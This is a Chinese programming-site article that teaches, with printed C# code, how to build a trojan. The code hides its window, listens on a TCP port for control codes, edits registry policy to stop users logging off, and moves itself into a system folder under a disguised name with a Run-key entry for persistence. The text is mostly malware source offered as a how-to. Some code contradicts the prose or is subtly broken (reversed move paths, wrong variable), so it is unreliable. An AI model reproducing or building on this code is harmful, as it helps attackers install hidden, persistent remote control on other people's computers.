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基于C#实现的木马程序实例详解

程序员文章站 2023-12-18 16:28:34
本文以c#为例讲解木马程序的实现过程。要实现木马服务的程序,主要实现以下几个功能:后台的运行(隐藏技术),控制码的接收与注册表的修改,下面就针对这三方面做介绍: 1、在c...

本文以c#为例讲解木马程序的实现过程。要实现木马服务的程序,主要实现以下几个功能:后台的运行(隐藏技术),控制码的接收注册表的修改,下面就针对这三方面做介绍:

1、在c#中,建立一个后台服务程序是很容易的,先建立一个新的c#的windows应用程序,项目名称自定(不过为了隐藏可使用与系统相近的名称,如svchost.exe等),将窗体属性"showintaskbar"属性设为false,让它运行时不会在任务栏中显示,并将属性"windowstate"属性设为mininized即可,这样窗体就可以隐藏运行了。当然你也可以在initializecomponent()设置,此函数起初始化的作用,在窗体显示前运行,代码如下:

private void initializecomponent()
{
//
// form1
//
//窗体显示的起点和大小
this.autoscalebasesize = new system.drawing.size(6, 14);
this.clientsize = new system.drawing.size(368, 357);
//窗体名称
this.name = "form1";
//设置属性让它后台运行
this.showintaskbar = false;
this.text = "form1";
this.windowstate = system.windows.forms.formwindowstate.minimized;
}

2、控制代码的接收,必需在服务程序运行开始就启动,所以侦听线程必需在程序初始化中启动,所以放在窗体的构造函数中,代码注解如下:

public form1() //窗体的构造函数
{
//
// windows 窗体设计器支持所必需的
//
initializecomponent();
//
// todo: 在 initializecomponent 调用后添加任何构造函数代码
//加入你的侦听代码
//端口你可以自已设定,我使用了固定的端口
int port =6678;
//system.net.sockets.tcplistener是用来在tcp网络中侦听客户端的
listener = new tcplistener(port);
//启动侦听
listener.start();
//增加接收控制码的线程,如果要停止线程可以用 thread.abort()
//recontrolcode 是线程启动执行的函数,此函数根据接收的控制
//控制码选取合适的注册表修改函数
thread thread = new thread(new threadstart(recontrolcode));
thread.start();
}

recontrolcode函数如下,完整代码见程序:

private void recontrolcode()
{
//设置接收套接字,接收listener.acceptsocket是返回已经接收的客户的请求
socket = listener.acceptsocket();
//如果连接成功执行
while (socket.connected)
{
//接收控制码
byte [] by =new byte[6];
int i = socket.receive(by,by.length ,0);
string ss = system.text.encoding.ascii.getstring(by);
//根据控制码执行不同的功能
//修改注册表加入编码
switch (ss)
{
case "jiance"://测试连接,返回测试信息
string str ="hjc";
byte [] bytee = system.text.encoding.ascii.getbytes(str);
socket.send(bytee,0,bytee.length,0);
break;
case "zx1000":
//修改注册表函数,自已定义,见下面分析
unlogoff();
//返回控制消息
retmessage();
break;
case "zx0100":
//修改注册表函数
unclose();
//返回控制消息
retmessage();
break;
//重复的case功能与前面一样,略掉
default:
break;
}//case
}//while
} //private void recontrolcode

3、c#中实现注册表的修改,使用了。net类库中的system.microsoft.win32命令空间,它提供两种类型的类:处理由操作系统引发的事件的类和对系统注册表进行操作的类。下面就可以看到它的用法。这里我做了一个修改注册表的子程序:使计算机不能注销。在这之前先了解注册表,在子键software//microsoft//windows//currentversion//policies//explorer
下面设键值nologoff 为 1 即可使计算机无法注销。在下面的函数中用c#实现对注册表的修改:

private void unlogoff()
{
//得到主机的注册表的*节点
microsoft.win32.registrykey rlocal = registry.localmachine;
//设置一个注册表子键的变量
registrykey key1;
try
{
//函数registrykey.opensubkey(string registrykey,bool canwrite)检索指定的子键
//registrykey是用户指定的键值,canwrite 为true则可修改,默认为fasle不可改
key1 =
rlocal.opensubkey("software//microsoft//windows//currentversion//policies//explorer",true);
//设置子键的键名,和值
key1.setvalue ("nologoff",1);
//关闭打开的子键
key1.close();
//警告字符串设定
mystr = mystr +"hkey_local_machine//software//microsoft//windows//currentversion//policies//explorer键值nologoff被修改!请将它置为0!";
}
catch{}
//如果不存在自已建立
if(key1 ==null)
{
try
{
//使用registrykey.createsubkey(string mystring)函数来建立你需要的子键
registrykey key2 = rlocal.createsubkey("software//microsoft//windows//currentversion//policies//explorer");
key2.setvalue("nologoff",1);
key2.close();
mystr = mystr +"hkey_local_machine//software//microsoft//windows//currentversion//policies//explorer键值nologoff被修改!请将它置为0!";
}
catch{}
}
}

4、在木马程序中还有一个重要的功能就是自我的复制和转移。木马引入被控制的主机时必需自动将木马隐藏在system,system32的目录下以防被发现。转移的代码分析如下,主要实现的功能是将d盘下的木马程序转移到c://winnnt//system//msdoss.exe,同时换名称。使用的。net命名空间system.io,它的作用是允许对数据流和文件进行同步和异步读写。这里我们使用了system.io.file类。

private void movecc1()
{
try
{
//函数file.move(string sourcefilename,string destfilename)起移动文件的作用
//sourcefilename为要移动的文件名,destfilename为文件的新路径
file.move("c://winnnt//system//msdoss.exe","d://winnt//system32//expleror.exe");
}
catch {}
//将新移的木马程序设为自启动。分析和前面一样
try
{
key1 = rlocal.opensubkey("software//microsoft//windows//currentversion//run",true);
key1.setvalue ("microsoftt","d://winnt//system32//expleror.exe");
key1.close();
}
catch{}
if(key1 ==null)
{
try
{
registrykey key2=rlocal.createsubkey("software//microsoft//windows//currentversion//run");
key1.setvalue ("microsoftt","d://winnt//system32//expleror.exe");
key1.close();
}
catch{}
}
} //movecc1()

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